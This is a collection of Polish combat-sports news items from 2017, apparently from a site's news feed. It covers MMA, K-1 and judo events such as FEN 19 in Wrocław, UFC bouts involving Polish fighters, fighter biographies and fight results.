Już 16 grudnia 2017r.w Łodzi, podczas naszych drugich urodzin, na 7. gali Ladies Fight Night „Double Trouble” w klatkoringu zaprezentuje się Basia Nalepka pseudonim „Shogun”, która jak sama mówi bardzo się cieszy, że dostała propozycję walki na jubileuszowej gali LFN i będzie chciała pokazać się jak najlepiej. Walka zawodniczki odbędzie się w formule MMA.
Jak podkreśla Łukasz Chmal – prezes organizacji: „Basia jest bardzo wszechstronną i doświadczoną zawodniczką. Nie miałem wątpliwości, że chcemy, aby dla nas walczyła. Kontrakt podpisaliśmy we wrześniu 2017r., ale dopiero dzisiaj jesteśmy gotowi, aby powoli odkrywać karty naszej jubileuszowej i sukcesywnie prezentować kolejne zawodniczki”.
Zawodowe plany Basi na 2018?
BN: “Nie mam sztywnych planów na 2018 rok. W lutym może wylecę do Brazylii na treningi na dwa miesiące, jak uzbieram fundusze 🙂 Na pewno kilka walk w MMA jak i w K1w Polsce jak i za granicą :-)”
O czym teraz myśli/marzy najbardziej zawodowo/ osobiście?
BN: “O czym marzę zawodowo…, żeby walczyć na największych galach w Polsce i na świecie i wiadomo, żeby wszystko poszło po mojej myśli, a osobiście nie mam w sumie planów dalekobieżnych co będzie to będzie:-).
Żyję chwilą i tak wszystko jest zapisane w gwiazdach :-)”
Bez pieniędzy ani rusz. Każdy chce zarobić jak najwięcej, aby zaspokoić swoje potrzeby. Cris „Cyborg” Justino nie jest zadowolona ze swoich zarobków w UFC. Liczy, że organizacja w końcu ją doceni i zaproponuje odpowiednie wynagrodzenie.
W oktagonie Justino zawsze jest twarda, nieustępliwa i zdecydowana. Brazylijka chciała się spotkać z Holly Holm i strony zaczęły czynić ustalenia względem walki. Mistrzyni wagi piórkowej zerwała jednak rozmowy.
Za mało
Bez wątpienia starcie „Cyborg” z Holly Holm urastałoby do miana hitowej walki w kobiecym MMA. Dwa lata temu to Amerykanka dzierżyła pas mistrzyni wagi koguciej, kiedy to niespodziewanie pokonała Rondę Rousey. Holm znokautowała „Rowdy”, która wydawała się niezniszczalna. Jednak radość Amerykanki nie trwała zbyt długo, ponieważ w kolejnej walce straciła pas na rzecz Mieshy Tate. 35-latka miała słabszy czas. Przegrała dwie kolejne walki, w tym o tytuł w kategorii piórkowej. Dopiero w czerwcu na gali UFC Fight Night 111 odniosła zwycięstwo. W trzeciej rundzie Amerykanka znokautowała Bethe Correię.
Skupmy się na tytule w wadze piórkowej. Pierwszą mistrzynią utworzonej w grudniu 2016 roku kategorii została Germaine de Randamie. Holenderka obawiała się starcia z Cristiane Justino i dlatego w czerwcu br. została pozbawiona tytułu. Z kolei Brazylijka spotkała się z Tonyą Evinger i od pierwszych minut przeważała. 36-letnia Amerykanka wytrwała do trzeciej rundy, kiedy to Justino potężnie trafiła ją kolanem. Trudno było znaleźć odważną, którą wejdzie do oktagonu z Brazylijką. Holly Holm wyzwań się nie boi, czego dowodem była jej wygrana z Rousey.
Mówiło się, że starcie „Cyborg” z byłą mistrzynią wagi koguciej miałoby się odbyć 30 grudnia na gali UFC 219. Skoro obie strony wyrażały chęć, to nic nie stało na przeszkodzie, aby doszło do walki. Jednak Justino postanowiła wstać od stołu. Wszystko przez finanse. Jak poinformowała mistrzyni wagi piórkowej UFC chciało jej zapłacić za walkę z Holm mniej niż za starcie z Evinger.
Wyliczenia Brazylijki
Można zażartować, że „Cyborg” wzięła kalkulator w dłoń i zaczęła liczyć. Gaże proponowane przez UFC nie spełniają jej wymagań. Zwłaszcza, że Brazylijka jest niepokonana w UFC. Dotychczasowe trzy walki wygrała przed czasem. Justino liczy, że jej dokonania zostaną docenione.
„Cyborg” chciałaby dostawać 500 tysięcy dolarów, czyli tyle, ile gwarantowane miały za obronę pasów Holly Holm i Miesha Tate. Jakie skutki przyniesie „strajk” Justino? W kobiecym MMA nie ma już tak wielu mocnych i wyrazistych zawodniczek. Może UFC sypnie Brazylijce nieco z portfela, bo ta jest gwarantem widowiska na wysokim poziomie.
KM
Ponad 600 zawodników zostało zgłoszonych do udziału w mistrzostwach świata juniorów w judo w Zagrzebiu. W tym gronie znalazło się dziewięcioro Polaków. Impreza odbędzie się w dniach 18-22 października.
Pierwotnie rywalizacja o medale mistrzostw świata juniorów miała odbyć się w północnokoreańskim Pjongjangu. W kwietniu Międzynarodowa Federacja Judo zdecydowała o zmianie lokalizacji imprezy z racji napiętej sytuacji politycznej w azjatyckim kraju. Mistrzostwa przeniesiono do hali Dom Sportova w Zagrzebiu.
Medalistka ME naszą nadzieją
Dwa lata temu z Abu Dhabi biało-czerwoni przywieźli jeden medal. Na najniższym stopniu podium stanął Piotr Kuczera (90kg). W Zjednoczonych Emiratach Arabskich startowała również Julia Kowalczyk (57kg), która zajęła siódme miejsce. Wszyscy liczą, że w Zagrzebiu judoczka Polonii Rybnik wskoczy na podium, bo przez dwa lata zdobyła cenne doświadczenie, które właśnie teraz może zaprocentować. Warto przypomnieć, iż Julia Kowalczyk znalazła się w kadrze seniorek na tegoroczne mistrzostwa Europy seniorów i seniorek. Biało-czerwone sięgnęły po srebrny medal.
W tym roku Kowalczyk stanęła również na podium europejskiego czempionatu w rywalizacji juniorek. Zawodniczka Polonii Rybnik wywalczyła w Mariborze brązowy medal. Polka wygrała trzy pojedynki, a w półfinale przegrała z Larissą van Krevel. Dla Kowalczyk był to trzeci medal mistrzostw Europy juniorek i po raz kolejny brązowy. 20-latka prezentuje równą formę. W tym roku Kowalczyk stawała na podium w juniorskich Pucharach Europy w Gdyni (drugie miejsce) i Leibnitz (trzecia) oraz zdobyła brąz wśród seniorów w Grand Slam w Baku.
W związku z powyższym nie ma, co ukrywać, że 20-letnia judoczka jest naszą nadzieją medalową. Kowalczyk jest jedną z liderek naszej kadry, drugim mocnym nazwiskiem jest Anita Formela (+78kg). 20-latka rok temu wywalczyła brąz mistrzostw Europy juniorów, a w tym niewiele zabrakło jej, aby znaleźć się na podium. W Mariborze zawodniczka UKS Conrad Gdańsk po dwóch wygranych walkach, w półfinale przegrała z Romane Dicko. Z kolei w starciu o brąz Formela została zdyskwalifikowana w końcówce starcia z Kubranur Esir.
Może w końcu medal?
O pechu może mówić Jakub Ozimek (90kg). Po raz kolejny znalazł się poza podium europejskiego czempionatu. W 2016 był piąty, w tegorocznym starcie również znalazł się tuż za strefą medalową. Czy przełamanie przyjdzie na mistrzostwach świata w Zagrzebiu? Taki wynik byłby mile widziany. Tym bardziej, że w pierwszych tegorocznych startach Ozimek pokazał się z dobrej strony. Wygrał w Lignano, a później był trzeci w Gdyni.
Pierwszego dnia imprezy biało-czerwoni nie będą startować. 19 października w akcji zobaczymy Klaudię Cieślik (52kg), Julia Kowalczyk (57kg) i Annę Dąbrowską (57kg). Kolejnego dnia na tatami zaprezentują się Sebastian Marcinkiewicz (81kg) oraz Jakub Ozimek (90kg). 21 października wystąpią: Anita Formela (+78kg), Kacper Szczurowski i Dominik Majowski (100kg), a także Krzysztof Załęczny (+100kg). Biało-czerwoni nie wystąpią w turnieju drużynowym.
KM
W listopadzie Marcin Tybura odwiedzi Australię. Na gali UFC Fight Night 121 w Qudos Bank Arena Polak miał się zmierzyć z doświadczonym i utytułowanym Markiem Huntem. Nowozelandczyk wypadł z karty walk. W jego miejsc wskoczył legendarny Fabricio Werdum.
Przed 31-letnim fighterem z Uniejowa nie lada wyzwanie. W Australii Tyburze przyjdzie rywalizować z jedną z ikon UFC. Ostatni test Polak zdał w imponującym stylu, czy w listopadzie w Sydney będzie podobnie?
Kolejny mistrz na drodze Tybury
W czerwcu na gali UFC Fight Night 111 w Singapurze Marcin Tybura pokonał przez decyzję sędziów mistrza amerykańskiej organizacji w wadze ciężkiej w latach 2005-2006 Andreja Arlovskiego. Co prawda 38-latek z Białorusi najlepsze lata ma za sobą, ale jego nazwisko nadal wiele znaczy w świecie MMA. Arlovski zanotował 25 zwycięstw w karierze i prezentował się na galach takich organizacji jak m.in. UFC, M-1 czy Strikeforce. Do walki z Tyburą Białorusin przystępował po czterech porażkach z rzędu. Polak odważnie zaczął starcie i obalił rywala, a w dosiadzie słał w jego stronę kolejne ciosy. Jednak z czasem do głosu zaczął dochodzić Arlovski, który w dominował drugiej rundzie. Tybura przetrwał napór, choć był bardzo zmęczony i w trzeciej odsłonie rywalizacji obalił rywala. Największe zwycięstwo Polaka w karierze stało się faktem.
Miło wraca się do tych wspomnień, jednak Marcin Tybura ma szansę dopisać kolejny rozdział pięknej przygody. W Sydney Polak miał zmierzyć się z 43-letnim Markiem Huntem, który ma za sobą bogatą karierę kickboxera, a także w MMA dorobił się miana gwiazdy. Nowozelandczyk w czerwcu w Auckland wygrał przed czasem z Derrickiem Lewisem. Z rywalizacji z Tyburą Hunt został wycofany ze względu na kłopoty z pamięcią. UFC zaleciło mu badania, a w Polaka zestawiono z Fabricio Werdumem.
40-letni Brazylijczyk to były mistrz UFC w wadze ciężkiej. Tymczasowy tytuł wywalczył pokonując… Hunta. Potem zwyciężył Caina Velasqueza i mógł poszczycić się posiadaniem pasa mistrzowskiego. W pierwszej obronie stracił go na rzecz Stipe Miocica. Ostatnim rywalem Werduma był Walter Harris, który przetrwał w oktagonie nieco ponad minutę. Podczas październikowej gali w Las Vegas Brazylijczyk poddał Amerykanina przez dźwignię na łokieć.
Co warto podkreślić, Marcin Tybura ma dobrą passę. Polak wygrał trzy walki z rzędu w UFC. Ostatnią porażkę poniósł w kwietniu 2016 roku, przegrał z Timothy'm Johnsonem.
Held ma rywala
Marcin Held będzie jedną z gwiazd październikowej gali UFC w Gdańsku. Kilka dni temu z powodu kontuzji z rywalizacji z Polakiem musiał wycofać się Teemu Packalen. Nowym przeciwnikiem fightera z Tych będzie Nasrat Haqparast, który zadebiutuje w UFC.
Dla Marcina Held występ w Ero Arenie będzie czwartym w amerykańskiej organizacji. Dotychczasowe trzy walki Polak przegrał.
Fot. Marcin Tybura Facebook
KM
Każdy chciałby wejść na szczyt i osiągnąć sukces. Miana gwiazdy MMA dorobił się Jon Jones, zaś w boksie na pierwszy plan wybił się Tyson Fury. Obaj zostali mistrzami, ale nie wytrzymali presji.
Mówi się, że nie sztuką jest zdobyć tytuł, lecz później skutecznie bronić go. Równie istotna jest równowaga i rozsądek. Jak pokazują liczne doświadczenia – często problemem jest głowa i brak wsparcia, co dla wielu zawodników skończyło się fatalnie.
Jak to możliwe?
Większość, zwłaszcza starszych osób, zapyta – jak to możliwe, że ma wszystko i w mgnieniu oka marnuje to? Oczywiście nie chodzi tu tylko i wyłącznie o względy materialne, lecz pozycję, poważanie i efekty własnej ciężkiej pracy. Przypadek znanego z UFC Jona Jonesa i boksera Tysona Fury'ego pokazuje, że sukces oraz popularność mają swoje blaski i cienie.
Amerykański zawodnik MMA ma wiele na sumieniu. W kwietniu 2015 roku spowodował wypadek, w którym ucierpiała kobieta w ciąży. Jones przejechał na czerwonym świetle i uciekł z miejsca zdarzenia. Dodatkowo w aucie byłego mistrza wagi półciężkiej znaleziono marihuanę. Przyszłość przyniosła kolejne wydarzenia, które nie są powodem do chluby dla Jonesa. W 2016 roku Amerykanin został zawieszony na rok za stosowanie dopingu. 30-latek miał rywalizować o zunifikowanie pasa mistrza kategorii półciężkiej na gali UFC 200, ale w jego organizmie wykryto zakazane substancje. Zawodnik tłumaczył, że środki znalazły się w tabletkach na potencję, jednak nie przyjmował ich świadomie. Jones wrócił i 29 lipca br. pokonał Daniela Cormiera, dzięki czemu wywalczył mistrzowstwo wagi półciężkiej. Minęło kilka tygodni… Na jaw wyszło, że Jones ponownie stosował doping. W jego moczu wykryto turinabol. Komisja Sportowa Stanu Kalifornia była bezwzględna i zawiesiła Amerykanina na cztery lata oraz odebrała mu tytuł mistrzowski.
Tyson Fury zawsze miał niewyparzony język w stosunku do rywali, a siebie określał jako tego, który jest najlepszy. W końcu jego pochwały w stosunku do własnej osoby znalazły potwierdzenie w rzeczywistości. Fury przerwał hegemonię Władimira Kliczko i został mistrzem wagi ciężkiej organizacji IBF, WBO, WBA i IBO. W kategorii królewskiej nastąpiło nowe otwarcie, jednak doświadczony Ukrainiec chciał walki rewanżowej. Nowy czempion na to przystał, ale z czasem uciekał od pojedynku. Głównym powodem miały być kłopoty zdrowotne Fury'ego. W końcu na światło dzienne wyszły problemy brytyjskiego boksera. Alkohol, narkotyki, depresja, niechęć do boksu – tak to wszystko wyglądało. W końcu Fury oddał pasy, ale nie zniknął, lecz dolewał oliwy do ognia. Mówił, że nienawidzi… boksu. Przybyło mu kilogramów, a po kilku miesiącach snuł plany o powrocie na ring.
Z nieba do piekła
Przykłady Jonesa i Fury'ego, przedstawione w skrótowej formie, obrazują, że z sukcesem trzeba umieć sobie poradzić. W przypadku MMA i boksu to nie tylko walka z rywalem, ale i z samym sobą, swoimi słabościami. Jones dla wielu stał się pierwszoplanową postacią UFC i przez lata dominował w wadze półciężkiej, ale w końcu wszystko rozsypało się jak domek z kart. Z kolei Fury totalnie się pogubił. W jego ustach mocne słowa względem boksu i innych zawodników brzmią groteskowo. Teraz Fury wyraził zainteresowanie walką z… Witalijem Kliczko.
Mieli wszystko, a upadają. Nie jest powiedziane, że nie odbiją się od dna. Dla sportów walki byłoby dobrze, żeby takie postaci funkcjonowały i wychodziły na prostą. Bo każdy ma prawo do chwili słabości, ale należy wstać i walczyć dalej. Czy Jonesowi i Fury'emu się to uda?
KM
Polska zawodniczka Kickboxingu urodzona 6 sierpnia 1989 roku w Kobylinie. Walczy w formule K-1 w kategorii wagowej piórkowej. Róża jest doktorantką na Akademii Wychowania Fizycznego we Wrocławiu oraz wykładowcą na tej samej uczelni. Zawodowo Róża walczy dla organizacji Fight Exclusive Night, której jest mistrzynią. Od 2011 roku jest reprezentantką Kadry Narodowej w Kickboxingu. Na zawodowych ringach stoczyła 9 walk, wygrywając osiem z nich. Pokonała m.in. takie rywalki jak: Marta Gusztab, Katarzyna Posiadała, Kamila Bałanda czy Martina Fendrichova. 14 października 2017 roku na gali FEN przegrała jednogłośną decyzją z Martą Waliczek, tym samym tracąc swój pas mistrzowski organizacji Fight Exclusive Night.
Poniżej lista osiągnięć w Kickboxingu i K-1:
Polski Karateka stylu Kyokushin i zawodnik Kickboxingu w formule K-1 urodzony 10 grudnia 1985 roku w Legnicy. Karate Kyokushin zaczął trenować w wieku 10 lat. Były członek kadry narodowej karate oraz wielokrotny Mistrz Polski i Europy Karate Kyokushin (formuła knockdown karate).Obecnie jest członkiem narodowej reprezentacji Polski w Kickboxingu, w którym zdobył tytuły mistrza Polski i Europy. Walczy zawodowo w organizacji Fight Exclusive Night, której jest mistrzem.
Osiągnięcia sportowe:
Polski zawodnik Kickboxingu oraz Muay Thai urodzony 4 marca 1984 roku w Nowym Sączu. Amatorski i zawodowy Mistrz Polski w K-1, brązowy medalista Mistrzostw Europy WAKO European Championships z 2012 w Ankarze. Jest także zdobywcą tytułu Intercontinental Low Kick Super Welter Weight Champion, który zdobył dzięki walce w Trynidadzie i Tobago. Był zawodnikiem klasyfikowanym w rankingach prestiżowej organizacji Glory World Series. W swojej karierze stoczył blisko 120 walk amatorskich, z czego wygrał 94. Jako zawodowiec do swoich pojedynków przygotowuje się w holenderskim klubie Mike’s Gym. Na zawodowym ringu wystąpił 23 razy, z czego 15 razy wychodził z walk jako zwycięzca. W 2015 roku wziął udział w prestiżowej gali Shoot Boxing 30th Anniversary w Tokio gdzie przegrał na punkty z zawodnikiem gospodarzy, dwukrotnym Mistrzem Świata – Hioroyaki Suzuki. Jego trenerami byli Andrzej Śliwa oraz później Tomasz Mamulski (trener Reprezentacji Polski w K-1).
Róża Gumienna (8-0) 14 października będzie broniła pasa mistrzowskiego FEN w kategorii do 65 kilogramów. Jej rywalką podczas „Bitwy o Wrocław” będzie Marta Waliczek (1-0-1). Starcie odbędzie się na zasadach K-1.
[kod]
W walce wieczoru FEN 19 Bitwa o Wrocław, Paweł Biszczak (24-3) zmierzy się z Igorem Danisem o mistrzowski pas K-1 w kat. -77kg.
[kod]
Już 14 października 2017 federacja Fight Exclusive Night po raz siódmy zawita do Wrocławia. FEN19 „Bitwa od Wrocław” odbędzie się w Hali Orbita, a zobaczymy w niej aż 10 pojedynków – 6 w formule MMA i 4 w K-1. Będą powroty, będą walki o pasy mistrzowskie oraz spektakularne rewanże.
Włodarze federacji FEN zapewniają, że przygotowali piekielnie mocną kartę walk, jednak na tą chwilę zdradzają tylko dwa zestawienia. Jednym z nich będzie pierwszy w historii FEN „Freak Fight” – w formule MMA i w kategorii do 77kg zmierzą się „Arab” i „Ruby. Gabriel Al-Sulwi, czyli „Arab”, to 24-latek pochodzący z Rzeszowa, któremu MMA pozwoliło pokonać problem z narkotykami i znaleźć nowy cel w życiu. Z kolei Bartłomiej Brzeziński, czyli „Ruby”, znany jest przede wszystkim jako raper „Ganja Mafia”, lecz od dłuższego czasu równie intensywnie trenuje sporty walki.
Innym ciekawym pojedynkiem, jaki zobaczą kibice w Hali Orbita, będzie starcie pomiędzy Pawłem Biszczakiem (24-3) z Igorem Danisem . Pojedynek odbędzie się w formule K-1, a jego stawką będzie pas mistrzowski FEN w kategorii do 77 kg.
[kod]
Polski Kickbokser oraz bokser wagi ciężkiej urodzony 31 maja 1985 roku w Krakowie. Zwycięzca bokserskiego turnieju Bigger's Better z 2013. W latach 2015-2017 zawodnik Fight Exclusive Night gdzie od 2016 został mistrzem w wadze półciężkiej. Aktualnie związany z Spartan Fight. Wieloletnim trenerem Sarary jest czterokrotny zwycięzca K-1 World GP Ernesto Hoost. W 2008 na Mistrzostwach Europy WAKO w Porto, zajął drugie miejsce w kat. +91 kg, przegrywając w finale z Białorusinem Alaksiejem Kudzinem. 18 lipca 2008 został zawodowym mistrzem Polski w kat. +91 kg, wygrywając z Danielem Omielańczukiem na punkty. 10 maja 2009 na gali Angels of Fire V, pokonał przez techniczny nokaut w 1. rundzie Kamila Sokołowskiego, zostając mistrzem Polskiego Związku Kick-boxerskiego (PZKB) w kat. 95 kg. 28 marca 2010 zadebiutował w turnieju K-1, który miał miejsce w Warszawie. Sarara doszedł ostatecznie do finału, przegrywając w nim przez nokaut z Estończykiem Daniilem Sapljoszynem. Wcześniej Polak pokonywał w ćwierćfinale Białorusina Ihara Buhajenke i w półfinale z Ukraińca Dmitrija Bezusa. W latach 2010-2012 zostawał m.in. mistrzem Polski w formule low kick, mistrzem Baltic Martial Arts Federation (BMAF) w wadze ciężkiej oraz dochodził do finału rosyjskiego turnieju Tatneft Arena, podczas którego wygrywał m.in. z Saulo Cavalarim. W 2014 ponownie został mistrzem Polski w low kicku. Od 2015 jest związany z Fight Exclusive Night gdzie jak dotąd jest niepokonany oraz dzierży od 15 października 2016 pas mistrzowski w kat. 95 kg. 6 października 2017 został mistrzem polsko-irlandzkiej organizacji Celtic Gladiator pokonując przed czasem Luciano Zampieriego. W latach 2010-2013 startował w turniejach bokserskich Bigger's Better. 4 listopada 2011 został finalistą zawodów, przegrywając w decydującym starciu z Francuzem Nicolasen Wambą na punkty, natomiast 24 maja 2013, wygrał 22 edycję turnieju, pokonując w finałowym pojedynku Słowaka Tomasa Moznego. 24 września 2016 zawodowo zadebiutował w boksie, nokautując Łukasza Zygmunta w 2. rundzie.
Osiągnięcia sportowe:
Tomasz Drwal niczym Conor McGregor? Dlaczego nie! Polski fighter spróbuje swoich sił w boksie już 4 listopada. Rywalem Drwala będzie Vasil Ducar.
Kibice długo musieli czekać na powrót Tomasza Drwala. 35-latek zaprezentuje się w Krakowie, jednak tym razem nie w walce na zasadach MMA. Drwal postanowił posmakować boksu.
Nowe wyzwanie
Kto nie lubi podejmować wyzwań i sprawdzać się na różnych polach? Dla wielu stanowi to mobilizację, a zarazem podstawę do udowodnienia sobie własnych możliwości oraz wartości. Czasami po prostu chcemy czegoś spróbować. Motywacje mogą być różne. W ostatnim czasie w świecie sportów walki przyzwyczailiśmy się, że większość zawodników emigruje do MMA. A w odwrotnym kierunku? Przykład dał jednak Conor McGregor, który postanowił spróbować boksu i ściągnął z emerytury Floyda Mayweathera Jr. Nie da się ukryć, że w tym wypadku kluczowe znaczenie odgrywały pieniądze.
W rywalizacji bokserskiej kibice będą mogli zobaczyć również Tomasza Drwala. Popularny „Gorilla” był pierwszym Polakiem zakontraktowanym przez UFC. W amerykańskiej organizacji stoczył sześć walk, z których trzy wygrał. 35-latek pokonał Ivana Seratiego, Mike'a Ciesnolevicza i Drewa McFedriesa. Na koniec przygody z UFC Drwal przegrał z Davidem Branchem. Zawodnik z Krakowa przyzwyczaił kibiców do efektywnego stylu, bo aż 12 z 21 zwycięstw odniósł przez nokaut. Ostatni raz walczył w maju 2015 roku, kiedy to na gali KSW 31 przegrał z Michałem Materlą.
W końcu Tomasz Drwal wraca, ale zarazem będzie to jego debiut. Tym razem Polak będzie rywalizował w boksie. – Trochę się naczekałem na kolejną walkę, ale lepiej późno niż później. Zapraszam 4 listopada na Wieczór Walk R8 do Krakowa. Sam jestem ciekaw jak to będzie w boksie. Zapowiada się fajne wyzwanie. Twardy rywal, który z pewnością pójdzie na mocne wymiany. I dobrze. Będą ludzie mieli co oglądać – napisał na swoim Facebooku Tomasz Drwal.
Rywalem Polaka będzie Vasil Ducar. 27-Czech ma za sobą cztery walki bokserskie, wszystkie wygrał przed czasem.
Wieczór pełen walk
4 listopada w Małej Hali Tauron Arenie Kraków odbędzie się 15 walk, w tym pięć zawodowych i dziesięć półzawodowych. Dla wielu zawodników będzie to szczególne doświadczenie.
Wśród fighterów, którzy zaprezentują się w Krakowie są m.in. Sebastian Kotwica i Michał Bobrowski. 25-letni zawodnik Szkoły Walki Drwala wygrał sześć pojedynków z rzędu. Z kolei 22-letnik Bobrowski ma na swoim koncie sześć wygranych walk, w tym pięć przed czasem.
Fot. Tomasz Drwal Facebook
KM
Polski zawodnik Kickboxingu i Muay Thai urodzony 25 stycznia 1987 roku w Nowym Sączu. Jest 8-krotnym Mistrzem Polski, zdobywcą Pucharu Świata w K-1, posiada 3 pasy Zawodowego Mistrza Polski. W latach 2005-2014 reprezentował Polskę jako członek kadry narodowej. W 2013 roku, za osiągnięcia zawodowe i trenerskie, został odznaczony przez Ministra Sportu. 16 kwietnia 2015 roku Pławecki odebrał z rąk Marszałka Województwa Małopolskiego nagrodę „Małopolski Laur Sportu”. Stoczył 126 walk amatorskich i 31 zawodowych.
Osiągnięcia sportowe:
2011-2013
2009
2008
2007
2006
2005
2004
MASTERS FIGHT SERIES I – Piaseczno, 07.10.2017
Wyniki Walk:
1. K1 71 kg Łukasz Jabłoński pokonał Pawła Józefowicza przez decyzję (2:1)
2. K-1 86 kg Paweł Gierzyński pokonał Mateusza Żukowsiego przez decyzję (3:0)
3. K-1 81 kg Edgaras Banikonis pokonał Kamila Połosaka przez decyzję (2:1)
4. K-1 67 kg Kamil Rościński pokonał Bartłomieja Salaka KO r. 3
Walki o tytuł zawodowego Międzynarodowego Mistrza Polski PZKB:
5. K1 60 kg Joanna Różańska pokonała Weronikę Drobiasko przez decyzję (3:0)
6. K-1 75 kg Roger Garbaczewski pokonał Zygimantasa Kulikauskasa przez decyzję (3:0)
Extra Fight:
7. K-1 56 kg Dorota Godzina pokonała Anetę Kopeć przez decyzję (3:0)
Walki wieczoru:
8. F-C 67 kg Eliasz Jankowski pokonał Kamila Dychałę przez decyzję (3:0)
Walka o tytuł zawodowego Międzynarodowego Mistrza Polski PZKB:
9. F-C 81 kg Łukasz Wichowski pokonał Evgeniego Matiuszonoka przez decyzję (3:0)
Amerykański zawodnik MMA urodzony 12 lutego 1984 roku w Oxnard. Ferguson jest zwycięzcą 13 sezonu reality show The Ultimate Fighter w wadze półśredniej z 2011 oraz tymczasowym mistrzem Ultimate Fighting Championship w wadze lekkiej z 2017. W MMA zadebiutował 12 kwietnia 2008 wygrywając z Stevem Avalosem. Do końca roku wygrał dwa kolejne pojedynki, w tym jeden z utytułowanym thai-boxerem Joe Schillingiem przez poddanie. 25 października 2010 zdobył pas mistrza PureCombat w wadze półśredniej po pokonaniu Brocka Jardine przez techniczny nokaut. Uzyskawszy od debiutu rekord 10 zwycięstw i 2 porażek w 2011 wziął udział w programie The Ultimate Fighter gdzie znalazł się w drużynie prowadzonej przez Brocka Lesnara. Ostatecznie Ferguson wygrał program w kat. półśredniej (do 77 kg) pokonując w finale 4 czerwca 2011 Ramseya Nijema przez KO w pierwszej rundzie i otrzymując w nagrodę kontrakt z UFC. 24 września 2011 na UFC 135 pokonał Aarona Rileya przez TKO w pierwszej rundzie, natomiast 3 grudnia tego samego roku wypunktował Bahamczyka Yvesa Edwardsa. 5 maja 2012 przegrał z Michaelem Johnsonem jednogłośnie na punkty, notując pierwszą porażkę w UFC. 19 października 2013 poddał duszeniem Mike Rio. Wygrana nad Rio zapoczątkowała passę dziewięciu zwycięstw z rzędu Fergusona w organizacji. Od października 2013 pokonywał m.in. Gleisona Tibau, Josha Thomsona, Edsona Barbozę czy Rafaela dos Anjosa. W tym czasie był również dwukrotnie zestawiany z Chabibem Nurmagomiedowem, w tym raz o tymczasowe mistrzostwo UFC wagi lekkiej (marzec 2017) jednak do obu walk nie doszło z powodu problemów zdrowotnych Rosjanina. Zamiast tego o tymczasowe mistrzostwo zmierzył się 7 października 2017 z Kevinem Lee którego ostatecznie pokonał przez poddanie w trzeciej rundzie i zdobył pas.
Od czwartku, 12 października, Wrocław zostanie opanowany przez Fight Exclusive Night. 19. edycja gali, którą dumnie nazwano „Bitwa o Wrocław” odbędzie się już 14 października w Hali Orbita. Zanim jednak do tego dojdzie, został zaplanowany szereg wydarzeń poprzedzający pojedynki najlepszych polskich zawodników i zawodniczek w MMA i K-1.
W czwartek, 12 października, o godzinie 13:00 na Stadionie Wrocław (Al. Śląska 1) w sali konferencyjnej odbędzie się konferencja prasowa z udziałem czołowych zawodników, których będzie można podziwiać w Hali Orbita. Głos zabiorą Róża Gumienna, Marta Waliczek, Barbara Nalepka, Gabriel Al-Sulwi „Arab”, Bartłomiej „Ruby” Brzeziński, Arkadiusz Wrzosek, Michał Michalski, Paweł Biszczak i Paweł Brandys.
Ci sami zawodnicy tuż po zakończeniu konferencji prasowej wezmą udział w media treningu. Jego start zaplanowano na godzinę 14:00, a odbędzie się on w siłowni FUNFIT II, na Stadionie Wrocław (Al. Śląska 1).
W piątek z kolei, 13 października, o godzinie 16:00 w Hali Orbita zaplanowana jest oficjalna ceremonia ważenia, podczas której stawią się już wszyscy bohaterowie gali. Będzie to również okazja do zobaczenia zawodników w charakterystycznej pozycji „Face to Face”. Po ważeniu fighterzy będą do dyspozycji dziennikarzy i udzielą wywiadów.
Zarówno czwartkowe jak i piątkowe wydarzenia będą otwarte dla kibiców.
WAŻNE!
Dziennikarze mogą ubiegać się o akredytacje prasowe na te wydarzenie. Wnioski składać można TYLKO drogą mailową i NIE OBOWIĄZUJE już system Accredito.
Akredytacje udzielane są na podstawie zgłoszenia mailowego na adres mail: j.borowicz@fen-mma.com. Prosimy o zawarcie takich informacji, jak imię i nazwisko osoby akredytowanej, nazwa redakcji, numer PESEL, numer telefonu oraz adres mailowy.
Wnioski akredytacyjne należy składać do 12 października 2017 roku.
Pełna karta walk FEN 19 „Bitwa o Wrocław” prezentuje się następująco:
77 kg K-1 – Igor Danis VS Paweł Biszczak
77 kg MMA – Bartłomiej „Ruby”Brzeziński – Gabriel Al.-Sulwi „Arab”
+95 kg K-1 – Nikolaj Falin VS Arkadiusz Wrzosek
77 kg MMA – Nassourdine Imavov VS Michał Michalski
65 kg K-1 – Marta Waliczek VS Róża Gumienna
84 kg MMA – Bartosz Leśko VS Paweł Brandys
56 kg MMA – Magdalena Rak VS Barbara Nalepka
77 kg MMA – Tymoteusz Łopaczyk VS Adrian Błeszyński
70 kg MMA – Patryk Nowak VS Jakub Mroczkowski
70 kg K-1 Marcin Stopka VS Krzysztof Kottas
Polska zakończyła rywalizację w Grand Prix w Taszkiencie z trzema medalami. Do Anny Borowskiej (57kg) i Agaty Perenc (52kg) dołączyła Beata Pacut (78kg), która zdobyła srebrny krążek.
Biało-czerwoni mogą być zadowoleni ze swojego występu. Złoto, dwa srebra oraz jedno piąte miejsce dały Polsce czwarte miejsce w klasyfikacji końcowej.
Ponownie druga
Ponad rok temu Beata Pacut zapisała na swoim koncie pierwsze zwycięstwo w międzynarodowym turnieju na poziomie seniorskim. Judoczka Czarnych Bytom triumfowała w Pucharze Świata w Warszawie. W finale Polka pokonała Karen Stevenson, wcześniej wygrała trzy walki. Triumf na własnej ziemi to szczególne wydarzenie w życiu każdego sportowca. W kolejnych startach Pacut prezentowała się dobrą dyspozycję i często znajdowała się w stawce rywalizujących o miejsce w czołówce.
W tym roku 21-latka znalazła się na podium w Pradze i w Mińsku. Samanta Soares i Marhinde Verkerk to zawodniczki, które stanęły na drodze naszej reprezentantki do triumfu. W Taszkiencie scenariusz układał się idealnie dla Beaty Pacut. Na początek Polka uporała się z Rosjanką Aleksandrą Babintsevą, później trafiła na 28-letnią Albinę Amangeldiyevą. Reprezentantka Kazachstanu atakowała, ale nieczysto i przegrała z Pacut. W półfinale 21-letnia Polka pokonała Bernadette Graf, która w tym roku wygrała zmagania w Bukareszcie i Hohhot. Do wykonania pozostał tylko jeden krok. Ale kolejny turniej Polka zakończyła ze srebrnym medalem. W finale Beata Pacut przegrała przez waza ari z siódmą zawodniczką tegorocznych mistrzostw świata Ukrainką Anastasiyą Turchyn.
„Najcięższe” złota
